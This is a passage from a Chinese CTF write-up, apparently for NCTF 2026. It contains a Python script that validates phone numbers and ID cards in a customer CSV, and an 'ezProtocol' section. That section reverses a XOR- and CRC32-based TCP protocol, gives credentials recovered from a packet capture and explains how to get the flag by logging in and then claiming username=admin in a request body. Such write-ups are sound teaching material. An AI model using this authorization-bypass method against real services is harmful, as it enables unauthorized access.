leaf="">r&#34;[\u200b\u200c\u200d\ufeff]&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">ALLOWED_PREFIXES = {</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;135&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;136&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;137&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;138&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;139&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;150&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;151&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;152&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;158&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;159&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;186&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;188&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">ID_WEIGHTS = [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">ID_CHECK_MAP = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;10X98765432&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">normalize_text</span></span><span style="line-height: 26px;"><span leaf="">(value: str)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ZW_RE.sub(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">, unicodedata.normalize(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;NFKC&#34;</span></span><span leaf="">, value </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">)).strip()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">normalize_phone</span></span><span style="line-height: 26px;"><span leaf="">(value: str)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span leaf="">    digits = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">.join(ch </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ch </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> normalize_text(value) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ch.isdigit())</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(digits) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> digits.startswith(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;86&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        digits = digits[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">:]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> digits</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">is_valid_phone</span></span><span style="line-height: 26px;"><span leaf="">(phone: str)</span></span><span leaf=""> -&gt; bool:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> len(phone) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">11</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> phone[:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> ALLOWED_PREFIXES</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">normalize_id_card</span></span><span style="line-height: 26px;"><span leaf="">(value: str)</span></span><span leaf=""> -&gt; str:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> normalize_text(value).replace(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34; &#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">).upper()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">is_valid_id_card</span></span><span style="line-height: 26px;"><span leaf="">(id_card: str)</span></span><span leaf=""> -&gt; bool:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(id_card) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">18</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> id_card[:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">17</span></span><span leaf="">].isdigit():</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> id_card[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0123456789X&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf=""><br/></span><span leaf="">    total = sum(int(ch) * weight </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ch, weight </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> zip(id_card[:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">17</span></span><span leaf="">], ID_WEIGHTS))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ID_CHECK_MAP[total % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">11</span></span><span leaf="">] == id_card[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">normalize_balance</span></span><span style="line-height: 26px;"><span leaf="">(value: str)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    cleaned = normalize_text(value)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> token </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;CNY&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;¥&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;,&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        cleaned = cleaned.replace(token, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> Decimal(cleaned)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> InvalidOperation:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">is_li_surname</span></span><span style="line-height: 26px;"><span leaf="">(name: str)</span></span><span leaf=""> -&gt; bool:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> name.startswith(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;李&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span leaf=""> bool(re.match(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#34;(?i)^li(?=[^a-z]|$)&#34;</span></span><span leaf="">, name))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    deduped = []</span><span leaf=""><br/></span><span leaf="">    seen = set()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> open(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;customer_dump.csv&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;r&#34;</span></span><span leaf="">, encoding=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;utf-8-sig&#34;</span></span><span leaf="">, newline=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> f:</span><span leaf=""><br/></span><span leaf="">        reader = csv.DictReader(f)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> row </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> reader:</span><span leaf=""><br/></span><span leaf="">            record = (</span><span leaf=""><br/></span><span leaf="">                normalize_text(row[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Name&#34;</span></span><span leaf="">]),</span><span leaf=""><br/></span><span leaf="">                normalize_id_card(row[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ID_Card&#34;</span></span><span leaf="">]),</span><span leaf=""><br/></span><span leaf="">                normalize_phone(row[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Phone&#34;</span></span><span leaf="">]),</span><span leaf=""><br/></span><span leaf="">                normalize_balance(row[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Balance&#34;</span></span><span leaf="">]),</span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> record </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> seen:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">            seen.add(record)</span><span leaf=""><br/></span><span leaf="">            deduped.append(record)</span><span leaf=""><br/></span><span leaf="">    q1 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    q2 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    q3 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    q4 = Decimal(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    q5 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> name, id_card, phone, balance </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> deduped:</span><span leaf=""><br/></span><span leaf="">        phone_ok = is_valid_phone(phone)</span><span leaf=""><br/></span><span leaf="">        id_ok = is_valid_id_card(id_card)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> phone_ok:</span><span leaf=""><br/></span><span leaf="">            q1 += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> id_ok:</span><span leaf=""><br/></span><span leaf="">            q2 += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> (phone_ok </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> id_ok):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span leaf="">        q3 += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> balance </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> balance &gt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            q4 += balance</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> is_li_surname(name):</span><span leaf=""><br/></span><span leaf="">            q5 += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">    print(q1)</span><span leaf=""><br/></span><span leaf="">    print(q2)</span><span leaf=""><br/></span><span leaf="">    print(q3)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{q4:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.2</span></span><span leaf="">f}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(q5)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span><span leaf=""><br/></span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">ezProtocol</span></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">协议文件给出关键常量：</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Magic = 0x47414D45，即 GAME</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">TypeAuth = 0x01</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">TypeQuery = 0x02</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">TypeGetFlag = 0x03</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">HeaderSize = 10</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Key = []byte{0x4e, 0x43, 0x54, 0x46}，即 NCTF</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">抓包中应用层数据都以 GAME 开头，说明协议结构就是：</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">4 bytes magic</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">1 byte type</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">1 byte payload_len</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">4 bytes checksum</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">payload</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">还原后确认：</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">负载是 JSON</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">负载加密方式是按字节异或：payload[i] ^ &#34;NCTF&#34;[i%4]</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">校验方式是：crc32(header(校验字段置0) + encrypted_payload)，大端</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">抓包还原的关键明文</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">{</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;username&#34;</span></span><span leaf="">:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ctfer&#34;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;password&#34;</span></span><span leaf="">:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;NCTF2026&#34;</span></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">利用思路</span></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">先发送 TypeAuth(0x01)，使用抓包恢复出的合法账号：</span></p></li></ol><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">{&#34;username&#34;:&#34;ctfer&#34;,&#34;password&#34;:&#34;NCTF2026&#34;}</span></p></li></ul><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">服务端返回：</span></p></li></ol><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">{&#34;message&#34;:&#34;Authenticated&#34;,&#34;status&#34;:&#34;ok&#34;}</span></p></li></ul><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">保持同一 TCP 连接，发送 TypeGetFlag(0x03)：</span></p></li></ol><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">{&#34;username&#34;:&#34;admin&#34;,&#34;password&#34;:&#34;x&#34;}</span></p></li></ul><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">服务端只检查当前连接已登录，同时错误地信任请求体中的 username=admin</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">返回 flag</span></p></li></ol><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mnnvsr7c-2tgumn" style="color: #576B95 !important;" data-topic="1" data-recommend="">#python</a> 